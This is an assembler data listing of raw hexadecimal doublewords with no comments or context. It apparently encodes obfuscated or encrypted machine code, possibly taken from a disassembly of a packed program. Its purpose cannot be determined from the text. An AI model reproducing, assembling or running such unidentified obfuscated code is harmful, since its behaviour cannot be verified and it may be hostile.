		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 80530CC3h
		dd 85C7DBE6h, 64830E5h,	1, 0CA8166F8h, 0B868CB99h, 0FFCEE4E7h
		dd 4827C5B5h, 0BA858D06h, 0FF064838h, 798589D0h, 68064800h
		dd 0C005DBD4h, 27C5B5FFh, 858D0648h, 64838BAh, 8589D0FFh
		dd 6481621h, 0ECB6858Dh, 0FF50064Ah, 480ED5B5h,	1D95FF06h
		dd 0B064809h, 8B0B74C0h, 69858DD8h, 50064AFCh, 858DD3FFh
		dd 64AFC69h, 9388366h, 85C70A75h, 64808BDh, 1, 23F595FFh
		dd 0FF250648h, 83000000h, 0A7305F8h, 9DD85C7h, 10648h
		dd 0E8F50000h, 0Bh, 99945C1Fh, 0D499129h, 0E98E97B6h, 7
		dd 0D9A1C3F0h, 5F08F255h, 0D99BD8Bh, 0BD800648h, 64AF878h
		dd 0D850F00h, 8B000000h, 1C87E9CBh, 0BD2B0000h,	6482F45h
		dd 8BDBD83h, 0F000648h,	11385h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 862EF6FDh
		dd 9E05D2ACh, 42858DA0h, 6A064AF8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FCFFC355h
		dd 0A95BF03Ah, 6E9CCh, 0FCF20000h, 2026B4BFh, 8B5011B2h
		dd 4805E995h, 6A016A06h, 0F98D8900h, 8B064802h,	4823BD95h
		dd 0BF006A06h, 2DCB86A2h, 12E995FFh, 8D8B0648h,	6481AD5h
		dd 0F86C8589h, 6A064Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9637C1C3h, 3DAB63EDh, 0D0B70F62h
		dd 6739F181h, 0FF6A1EF8h, 0B5FF17B5h, 64AF86Ch,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF4E5D58h
		dd 16577D4Fh, 10D995FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0E4EFAC3h, 217E9903h
		dd 0BD01857Ch, 6481335h, 0EC7D858Dh, 6A064Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 14428DC3h
		dd 0E4ED9185h, 0BD29F8E9h, 64827F1h, 958B50F9h,	64816C9h
		dd 19ED95FFh, 85890648h, 64AED07h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5CC35646h, 1BE3A7E7h, 0F9BF0F57h
		dd 8A858D5Ah, 6A064AECh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 17A2C352h, 14E8h, 0AFF11000h
		dd 8B22A6C8h, 66013441h, 0DF7C53B2h, 24F2F978h,	958B6032h
		dd 6482361h, 59615857h,	0C45B589h, 0F500648h, 68Ah, 0B7C78100h
		dd 0FF1F905Dh, 4AED07B5h, 0CF816606h, 95FF4A2Ch, 648091Dh
		dd 10E9h, 0ACA56200h, 0CDD457FBh, 20EB115Dh, 5FCCA4F3h
		dd 3185893Ah, 8B064807h, 0F8858DFAh, 66064AECh,	0BD8BD08Bh
		dd 6480D59h, 56006A50h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 1A7075E3h, 48C762B9h, 7B5FF59h, 0FF064AEDh
		dd 48091D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0ED8D9FA6h, 0C55174C8h
		dd 8D89E7D5h, 6481155h,	0ED1B8589h, 0F580064Ah,	0D7858DDAh
		dd 0E9064AECh, 0Ch, 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 50CB8B66h
		dd 22F98D31h, 8E0F0648h, 6, 0BF4DDF81h,	0B5FF31DBh, 64AED07h
		dd 33598D89h, 85890648h, 6480229h, 91D95FFh, 95290648h
		dd 6481A5Dh, 0ED138589h, 0BD29064Ah, 6481779h, 28E9BD89h
		dd 858D0648h, 64AECCAh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 3EC35141h, 8A30B205h,	258589D4h, 50064813h
		dd 7B5FFF9h, 0F064AEDh,	95FFFFB7h, 648091Dh, 28998D8Bh
		dd 0BD0B0648h, 648203Dh, 0ED178589h, 0BD8B064Ah, 6480121h
		dd 0ECE5858Dh, 4FBA064Ah, 890DCA6Bh, 48273D95h,	0BA665006h
		dd 0B5FFC8B6h, 64AED07h, 7E8h, 61E4E500h, 0E4FA6AD3h, 71DF8166h
		dd 95FF5900h, 648091Dh,	0E43986B9h, 85858945h, 56064812h
		dd 78E28166h, 858D5A82h, 64AEC99h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 63C35747h, 29C9BD8Bh, 0F500648h
		dd 82h,	7B5FF00h, 0FF064AEDh, 48091D95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 8938D97Ah, 4AED0B85h, 0D78B6606h, 0ECA8858Dh, 50FC064Ah
		dd 13499D89h, 0B5FF0648h, 64AED07h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 2C35040h, 48F4D072h, 2705BD8Bh
		dd 0BD8B0648h, 6480E31h, 91D95FFh, 0E9510648h, 5, 0A97FF60Ch
		dd 830F5918h, 3, 89FFBF0Fh, 4AED0F85h, 0FFD28006h, 10468h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 95A09BCAh, 8608892Bh, 858D0756h,	64AED9Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2EC35040h
		dd 0AEE13742h, 5245466Eh, 9E8h,	0D4087700h, 0CBAD56BCh
		dd 6E9B583h, 0A5000000h, 4ADD949h, 29505990h, 482C3995h
		dd 0A3858D06h, 0F064AEEh, 0BE9FEBFh, 0D4000000h, 1BFED542h
		dd 25400106h, 8950B710h, 4816D995h, 0D98D2906h,	0FF06482Fh
		dd 4832A595h, 0C085F506h, 0A850Fh, 57520000h, 0D59BD8Bh
		dd 5A5A0648h, 0F878BD80h, 0F00064Ah, 1A85h, 0D2BF0F00h
		dd 1774E9h, 0DE900h, 0D040000h,	0D3AE2CC3h, 0EF497369h
		dd 836A41E9h, 4808BDBDh, 850F0006h, 16h, 282DBD2Bh, 0BD830648h
		dd 64AFD22h, 23840F00h,	0F000000h, 858DD6BFh, 64AED3Ch
		dd 2840F57h, 0B2000000h, 2AE95F81h, 31000017h, 480F819Dh
		dd 8E906h, 858D0000h, 64AED27h,	8B50D08Bh, 9F858DD3h, 6A064AEDh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 65BC353h,	41016941h, 8D8B08D2h, 6482EC5h
		dd 57006A50h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 94B09ED5h, 58F0F8Dh, 0B9000000h,	5FB95205h
		dd 0BE9h, 0ACF01500h, 1AF25F14h, 0DCB239C2h, 8BDBD83h
		dd 0F000648h, 4C84h, 0F8D38B00h, 0EEC5858Dh, 6A064Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A124B7C3h, 50E9EBF4h, 0E8000000h, 11h, 722EEAC6h, 0CBE05984h
		dd 0A1B185F4h, 84E23BFFh, 0BAFCBF49h, 0B6592FABh, 0AE858D24h
		dd 6A064AEEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 56D0C357h, 30E3259h, 481441BDh
		dd 5DE18106h, 504CCA6Dh, 0B617DA81h, 858D029Ch,	64AEEFDh
		dd 50E18166h, 0BA6650DDh, 95FFC61Eh, 6482861h, 83D0B70Fh
		dd 7E910C4h, 0BC000000h, 4682C654h, 0C08BEFE1h,	0AE9h
		dd 0BBF57D00h, 0FA9C6CD1h, 83839E26h, 481299BDh, 9750006h
		dd 0D35BD83h, 74000648h, 8B535019h, 7D3B8C0h, 85890000h
		dd 64829B9h, 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h
		dd 50177400h, 7D3B853h,	85890000h, 64829B9h, 0A1539D8Dh
		dd 0D3FF064Ah, 0BF0F585Bh, 3800FFEh, 80000000h,	8E8CEDAh
		dd 0A3000000h, 0A30C0B7Eh, 892F6391h, 4812D585h, 0C08B5906h
		dd 0E019533h, 0BD810648h, 64AED27h, 6165726Fh, 0CE840Fh
		dd 0BD8B0000h, 64808EDh, 0ED9F858Dh, 8D50064Ah,	4AEEDC85h
		dd 858D5006h, 64AEEFDh,	6195FF50h, 83064828h, 85C60CC4h
		dd 6480FF9h, 184F6844h,	0B5FF96A3h, 6480ED5h, 38BA858Dh
		dd 0D0FF0648h, 858DD88Bh, 64AEEFDh, 8DD3FF50h, 4AED2785h
		dd 858D5006h, 64AED9Fh,	0BDBD8350h, 64808h, 858D0874h
		dd 64AEEC5h, 858D06EBh,	64AEEAEh, 0FD858D50h, 50064AEEh
		dd 286195FFh, 0C4830648h, 53006A10h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0CBEA6513h
		dd 0FF8BCF6h, 1382h, 0EE900h, 31010000h, 1EF13134h, 0C4E928A6h
		dd 0A8097DE1h, 1DB58B60h, 8B064802h, 481EE595h,	0BD8B6106h
		dd 6481FA1h, 23F595FFh,	0C88B0648h, 0FF25h, 5800F00h, 66000000h
		dd 0F9A1EF81h, 0F05F883h, 7783h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0CDDCBC3Ah
		dd 0C28BF5h, 39BD8BB4h,	3064800h, 4828A58Dh, 0DD85C706h
		dd 1064809h, 89000000h,	4830A58Dh, 5B858D06h, 81064AEDh
		dd 930350F7h, 0EE84Ah, 74360000h, 0E44F20B7h, 0BBF14443h
		dd 1D23061Dh, 1298D8Bh,	0E9590648h, 67h, 7E9h, 0BDEEE900h
		dd 3B22F619h, 8BDBD83h,	0F000648h, 1F84h, 259D2900h, 8D064807h
		dd 4AED8685h, 37BF6606h, 88D2819Dh, 0E92B04EAh,	33h, 8630BF66h
		dd 0ED68858Dh, 6A064Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 5EFB15C3h, 1F9DF327h, 6195892Dh
		dd 8906482Fh, 4AED9B85h, 0B9BD8B06h, 8B06481Fh,	480E5195h
		dd 0BDBD8306h, 64808h, 15850Fh,	0F2810000h, 0BA87938h
		dd 0BD83D48Ah, 64AFD22h, 0A840F00h, 0E9000000h,	1361h
		dd 88D18166h, 55CE93Ch,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0F120F9C3h, 7B3A095Fh
		dd 197849B9h, 6AC08B3Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0E633C350h,	0B44DCC72h
		dd 3841EBBAh, 99BD836Ch, 64812h, 0BD830975h, 6480D35h
		dd 50197400h, 0B8C08B53h, 7D4h,	29B98589h, 9D8D0648h, 64AA464h
		dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h,	7D4h, 29B98589h
		dd 9D8D0648h, 64AA153h,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 92C35747h, 8514428Dh, 0E9E4ED91h
		dd 0E4B966F8h, 0C810F13h, 0F000000h, 687h, 20CA8100h, 8B0502C6h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0A21847Ah, 0BFD9175h, 81662E85h,	683BDFEFh
		dd 0F003Fh, 3365958Bh, 0D0B10648h, 8529006Ah, 6482011h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 1BE467C3h, 95FF2084h, 6480731h, 2A818589h
		dd 0C0850648h, 6850Fh
		dd 95890000h, 64812C9h,	0ED1F8589h, 78B1064Ah, 8052006Ah
		dd 0FC5F68EAh, 8166006Ah, 6A8BEDC2h, 0D2B70F00h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 547BCC3h, 0BAF48AF1h, 0F2BF6676h, 6A006AA8h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0B1C9C350h, 29BD29BDh, 81064803h, 7E6255D9h,	29B5894Bh
		dd 8D06481Ah, 4AEEFD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0B20230FEh, 50CA3677h
		dd 6E8h, 0DF0AD300h, 60BC1FA6h,	8E9h, 0F8176700h, 0E3B63133h
		dd 0AEB86618h, 6A5F61A1h, 57006A01h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 61B5894Ah
		dd 8B06480Dh, 481B6195h, 1016A06h, 4808098Dh, 6A016A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0FCD0C355h, 0FA2CAF95h, 0E8D68356h, 13h
		dd 6F6E89A9h, 4E084197h, 6130F36Ch, 68366567h, 66DD99F0h
		dd 52DDE181h, 1FF685Ah,	9529000Fh, 6483101h, 8BDBD83h
		dd 0F000648h, 4F84h, 0B5958B00h, 8D064810h, 4AED7C85h
		dd 4AE906h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 8543B3C3h, 0F9F58BD6h, 10E8h, 0EF4A5B00h
		dd 5CED99A0h, 84D35BC2h, 0B4D13398h, 49958BA0h,	5F064808h
		dd 0ED52858Dh, 8D8B064Ah, 64832D5h, 51006A50h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 2B2D68C9h
		dd 0E950FE8Bh, 0Ah, 79F363F5h, 0D2514B3Ah, 0B5FFCDB8h
		dd 64AED1Fh, 17C5B529h,	95FF0648h, 64AED0Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 75C35141h, 952BAFFFh
		dd 6481289h, 850FC085h,	2Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 82C35343h, 821BD8Bh, 5CE90648h
		dd 0F000000h, 8589C8BFh, 64AED23h, 0C9BF0FF8h, 0ED23B5FFh
		dd 0C180064Ah, 8595FF79h, 8A064812h, 0FC085D5h,	3685h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 990A3D43h, 12E9h, 8AF0A300h, 65CCAA8Dh
		dd 0CBC9E4CDh, 90E1C10Fh, 6AB64522h, 8B665010h,	0BD835ACBh
		dd 64808BDh, 5B840F00h,	0E9000000h, 12h, 0A117167Fh, 0C7296725h
		dd 0A0187D96h, 8EF69DE8h, 858D8829h, 64AED7Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 80C35040h, 65EA7746h
		dd 9D958B1Bh, 5706481Ch, 1B818D8Bh, 665F0648h, 0E57BD981h
		dd 11E9h, 0F2816600h, 858DF3B1h, 64AED52h, 0AC3DA81h, 81507C66h
		dd 458A20F1h, 1FB5FF3Dh, 0F064AEDh, 685h, 61BD8B00h, 0FF064829h
		dd 4AED1795h, 0FD8D8B06h, 8506480Dh, 6850FC0h, 89000000h
		dd 48284195h, 23858906h, 3064AEDh, 4803DD95h, 0F9006A06h
		dd 3870Fh, 8B660000h, 81006ACAh, 3FD2C2CAh, 23B5FF5Dh
		dd 89064AEDh, 482941B5h, 0F95FF06h, 81064AEDh, 3322C4EAh
		dd 0FC08575h, 5D85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0B2E211C2h, 0FF1B9D17h
		dd 0DE8F5h, 0A3900000h,	0EA5501F5h, 0B50EE8DBh,	8B248726h
		dd 483029BDh, 14E85A06h, 13000000h, 451F85A2h, 0BDD9F921h
		dd 7DAA246Ah, 0DFD97B44h, 33B1E9FFh, 48145D95h,	0B5FF5A06h
		dd 64AED23h, 0CAC18166h, 8595FF08h, 66064812h, 855544B9h
		dd 7850FC0h, 51000000h,	7E18166h, 6A5997h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h, 813D4D77h
		dd 0AC62F1D9h, 75BD8B7Ah, 6006481Bh, 6660F98Bh,	0BD29D78Bh
		dd 6482FFDh, 80686161h,	66000000h, 36AF88Bh, 6C9B589h
		dd 6A0648h, 0EE8h, 51AE5A00h, 70C773BFh, 0B7B0775Ch, 892D798Ch
		dd 4803BD9Dh, 6A5A06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0D1C35545h, 0EC9CFE1Ch, 11BD098Bh, 68064808h
		dd 0C0000000h, 329B589h, 0B5FF0648h, 64AED9Bh, 68E0Fh
		dd 958B0000h, 6480971h,	1BE995FFh, 0D08B0648h, 0FFFF883h
		dd 5EA85h, 0FF24B100h, 4AF80985h, 1D1FBA06h, 0BD3316DBh
		dd 6480765h, 0F809BD83h, 0F02064Ah, 47B84h, 4D9D0100h
		dd 8D06481Bh, 5AF59F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0F2CF00E3h, 19B5892Ah
		dd 8B064800h, 480909BDh, 8AD0FF06h, 0F2858DE8h,	80005AEFh
		dd 0D0FFB2C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	28C35242h, 99A25F84h, 0B3E6D27Fh, 0D68B66B5h, 0FE8C08Bh
		dd 5D000000h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh,	8B669FC3h
		dd 12E95FCAh, 0AF000000h, 0DDF248A4h, 7AB50A61h, 0DD303F76h
		dd 57AEC827h, 99BD8311h, 64812h, 0BD830975h, 6480D35h
		dd 50197400h, 0B8C08B53h, 7D8h,	29B98589h, 9D8D0648h, 64AA464h
		dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h,	7D8h, 29B98589h
		dd 9D8D0648h, 64AA153h,	585BD3FFh, 8E9h, 0A544E700h, 310D321Eh
		dd 458D8BC8h, 0E906481Bh, 0Fh, 29F53BC8h, 48E95485h, 11463201h
		dd 8B483FFEh, 0BDBD33C0h, 68064817h, 0F003Fh, 0D719589h
		dd 6A0648h, 33006AFCh, 481A218Dh, 3195FF06h, 9064807h
		dd 48312DB5h, 0FC08506h, 580h, 0F0B2BA00h, 85893BDCh, 64AED1Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
		dd 0BF434D75h, 70D53475h, 89CBBF0Fh, 482B85B5h,	1FF6806h
		dd 0B70F000Fh, 0BDBD83F8h, 64808h, 47840Fh, 24B90000h
		dd 8D19BDCDh, 4AED7C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 35F3DFFDh, 7E9h, 27579400h
		dd 953C0222h, 1A818D8Bh, 12E90648h, 89000000h, 48301D8Dh
		dd 52858D06h, 89064AEDh, 480AC5B5h, 2B605006h, 4817158Dh
		dd 0D9B70F06h, 1FB5FF61h, 8B064AEDh, 4826FDBDh,	1795FF06h
		dd 81064AEDh, 25EECBE2h, 2385896Ah, 6A064AEDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 7760C356h, 1DE5354h,	480A5985h, 0C7C88B06h, 48336D85h
		dd 6, 0D19D8900h, 83064828h, 4AED23BDh,	840F0006h, 21Dh
		dd 68F0Fh, 9D890000h, 6481B11h,	0F001858Dh, 6A064Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 897F2EC3h, 481595B5h, 958B5006h, 648089Dh, 8166016Ah
		dd 0FF3E8BF2h, 4AED23B5h, 69850106h, 0FF06480Dh, 4AED1B95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0CED2D7ABh, 2218D2Bh, 89600648h,	4829CD95h
		dd 0F8BF0F06h, 31BD8B61h, 0FF06480Bh, 4AED23B5h, 0DD8D8B06h
		dd 0FF064802h, 48128595h, 0D98D8906h, 6806480Ch, 0F01FFh
		dd 13E950h, 0E41F0000h,	56392E53h, 53E2F800h, 0CFD25E2Ch
		dd 5C1E6734h, 0BD835965h, 64808BDh, 5A840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 2B67C356h, 48177995h, 7C858D06h, 6A064AEDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FD6C352h, 589h, 0EC9CBF00h, 30E9798Fh, 9000000h
		dd 4813B18Dh, 52858D06h, 6A064AEDh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8C06C350h
		dd 1C09A99Eh, 50E6A0B6h, 1181BD8Bh, 8B600648h, 4815A19Dh
		dd 8DB52906h, 6106482Eh, 0ED1FB5FFh, 0FFFC064Ah, 4AED1795h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 29FCE46Ah, 0E9605BDEh, 6, 46DC1F06h, 0B58976ABh
		dd 648280Dh, 0B2B96661h, 238589E5h, 66064AEDh, 0FF86F7B9h
		dd 4AED23B5h, 1FD28106h, 892D7C74h, 480E69BDh, 1395FF06h
		dd 6A064AEDh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2AD2C357h, 0ABFEE5CCh,	17418D8Bh
		dd 8D8B0648h, 6480695h,	0ED23B5FFh, 0BD89064Ah,	6480579h
		dd 0FF83DD80h, 48128595h, 698D8B06h, 29064829h,	4831B1BDh
		dd 0F577E906h, 8D89FFFFh, 6482A11h, 0F86CB5FFh,	0B589064Ah
		dd 6481035h, 0E7195FFh,	6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 163741C3h, 31677D9Fh
		dd 8D8B6BA2h, 6481B75h,	858BC88Bh, 6482945h, 4118D8Bh
		dd 5EE90648h, 0E9000006h, 7, 0F70DF09Ch, 8DD4C028h, 4AF021B5h
		dd 12E906h, 0AC510000h,	0FB749A87h, 1C50935Fh, 9477204Fh
		dd 4C7DE24Ah, 9DC7858Dh, 800F064Ah, 6, 497EDF81h, 0D0FF766Bh
		dd 9D896060h, 64815F9h,	1A58D8Bh, 29610648h, 4807F5BDh
		dd 6A6106h, 2F318589h, 95FF0648h, 6481AD9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 0BF666928h
		dd 0BD89636Dh, 648199Dh, 8A0FF38Bh, 0
		dd 9DC7858Dh, 6A064Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 178F5AC3h, 1851BD89h, 0D0FF0648h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 88C35040h
		dd 6ACF8Bh, 1D958B53h, 5A064816h, 1AD995FFh, 10E90648h
		dd 0B9000000h, 7943471Ah, 1737186Ah, 4639BEC8h,	8B1F562Eh
		dd 98D03C0h, 83064808h,	481299BDh, 9750006h, 0D35BD83h
		dd 74000648h, 8B535019h, 7D9B8C0h, 85890000h, 64829B9h
		dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
		dd 7D9B853h, 85890000h,	64829B9h, 0A1539D8Dh, 0D3FF064Ah
		dd 0D38B585Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	7FC35040h, 93FF09CAh, 0F9381AF0h, 6890Fh, 958B0000h
		dd 6482B85h, 0D981C08Bh, 43112ABDh, 6149BF66h, 56006A50h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 226C6FFDh, 24B2D189h, 8166A1F2h, 8B98B8E2h, 0D3BF0FD8h
		dd 3820F52h, 66000000h,	535FCF8Bh, 1459D8Dh, 38B0648h
		dd 438B0389h, 50438950h, 0F8059D8Dh, 38B064Ah, 8B5B0389h
		dd 18830FCEh, 60000000h, 7798529h, 0AE80648h, 7D000000h
		dd 93F45E5h, 59C6FDDAh,	66615F42h, 38FAC281h, 80B1006Ah
		dd 0F805858Dh, 0F181064Ah, 0E519AAAh, 69BD8B50h, 6A064817h
		dd 0DD958B60h, 8D064802h, 48014585h, 4DBD2B06h,	50064829h
		dd 0E34490BAh, 6A006A42h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E336EEC0h
		dd 29664898h, 4803BD95h, 18006806h, 0BF0F0000h,	6A53D6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 99303BC3h, 0C281669Dh, 95FF38A1h, 64805EDh, 2EB5B529h
		dd 95FF0648h, 648177Dh,	0AF99BA66h, 0F86CB5FFh,	0EA81064Ah
		dd 5EAB945Eh, 6820Fh, 0BD890000h, 6481409h, 0E7195FFh
		dd 9EB50648h, 145858Dh,	8D330648h, 64829A1h, 6A18408Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 4C9DC355h, 8B30FDB4h, 1F54DBFh, 481A159Dh
		dd 5185C706h, 64828h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8350C355h, 4808BDBDh
		dd 840F0006h, 39h, 21AB1FBFh, 8C3D64h, 830F0000h, 1D3h
		dd 14F98D29h, 32E90648h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7B28C356h
		dd 963D3Dh, 830F0000h, 19Fh, 3810Fh, 0E6800000h, 9F858D8Ah
		dd 0B005AF5h, 482BED95h, 80D0FF06h, 858D83E9h, 5AEFF2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FEC35646h
		dd 0ADFA6DAEh, 8166D0FFh, 8BD1B6F1h, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0C7862BACh
		dd 5840Fh, 81660000h, 830E69EFh, 481299BDh, 9750006h, 0D35BD83h
		dd 74000648h, 8B535019h, 0BC6B8C0h, 85890000h, 64829B9h
		dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
		dd 0BC6B853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah
		dd 0BE8585Bh, 0DB000000h, 0DF7A34A4h, 70F26DD6h, 0BF603BD1h
		dd 0A4ACD65h, 5F615850h, 6FB3D781h, 0C08B1EDBh,	17AD8529h
		dd 0F8830648h, 51850FFFh, 0F000000h, 85C7C8BFh,	6483291h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 16C35545h
		dd 7D54C957h, 0E9FB315Eh, 15Bh,	1EF58D8Bh, 3AE90648h, 89000000h
		dd 480AF9B5h, 6E906h, 22900000h, 0B2DFB645h, 0F01F883h
		dd 2085h, 6870F00h, 8B000000h, 480B918Dh, 0F9BF0F06h, 184E9h
		dd 858D8B00h, 31064808h, 4827F1BDh, 0F037E906h,	6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F1D4EBC3h, 0DE9ABh,	4A910000h, 862EF6FDh, 9E05D2ACh
		dd 8B723EA0h, 0E689B9C0h, 0BD8319A2h, 6481299h,	83097500h
		dd 480D35BDh, 19740006h, 0C08B5350h, 7DDB8h, 0B9858900h
		dd 8D064829h, 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh
		dd 53501774h, 7DDB8h, 0B9858900h, 8D064829h, 4AA1539Dh
		dd 5BD3FF06h, 59858958h, 6006481Bh, 2F85B589h, 0D98B0648h
		dd 56006A61h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 76F93479h, 8B66893Ch, 0FC08BD6h,	1785h
		dd 12E900h, 75E50000h, 0F6F05F62h, 0D391F37Bh, 4097E89Ah
		dd 23FFD95Bh, 1289958Bh, 86E90648h, 6A000002h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 7268C357h, 8D583F0Eh, 897F9880h, 4802FD95h, 0D58D0106h
		dd 8D06480Ah, 4AF60985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 516132EAh, 99616A28h
		dd 0F5B9663Ch, 18589A0h, 0E8064AF8h, 8,	195FC125h, 0CE2C63A0h
		dd 16D99509h, 0F590648h, 38Dh, 0D68B6600h, 53E9h, 0A9958B00h
		dd 8B06480Ah, 482E7D8Dh, 11858D06h, 0B1064AF4h,	6A40D0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 240644C3h, 0DE952C6h, 0BE000000h, 51F969A9h,	0F707DDD0h
		dd 42DBB4C2h, 1A21958Bh, 85890648h, 64AF801h, 858D346Ah
		dd 648009Dh, 1B5FF50h, 6A064AF8h, 0D595FF00h, 83064815h
